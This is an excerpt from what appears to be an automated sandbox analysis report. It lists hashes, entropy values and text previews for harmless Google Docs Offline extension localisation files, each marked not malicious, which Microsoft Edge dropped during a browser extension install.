Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\_locales\si\messages.json

Download File

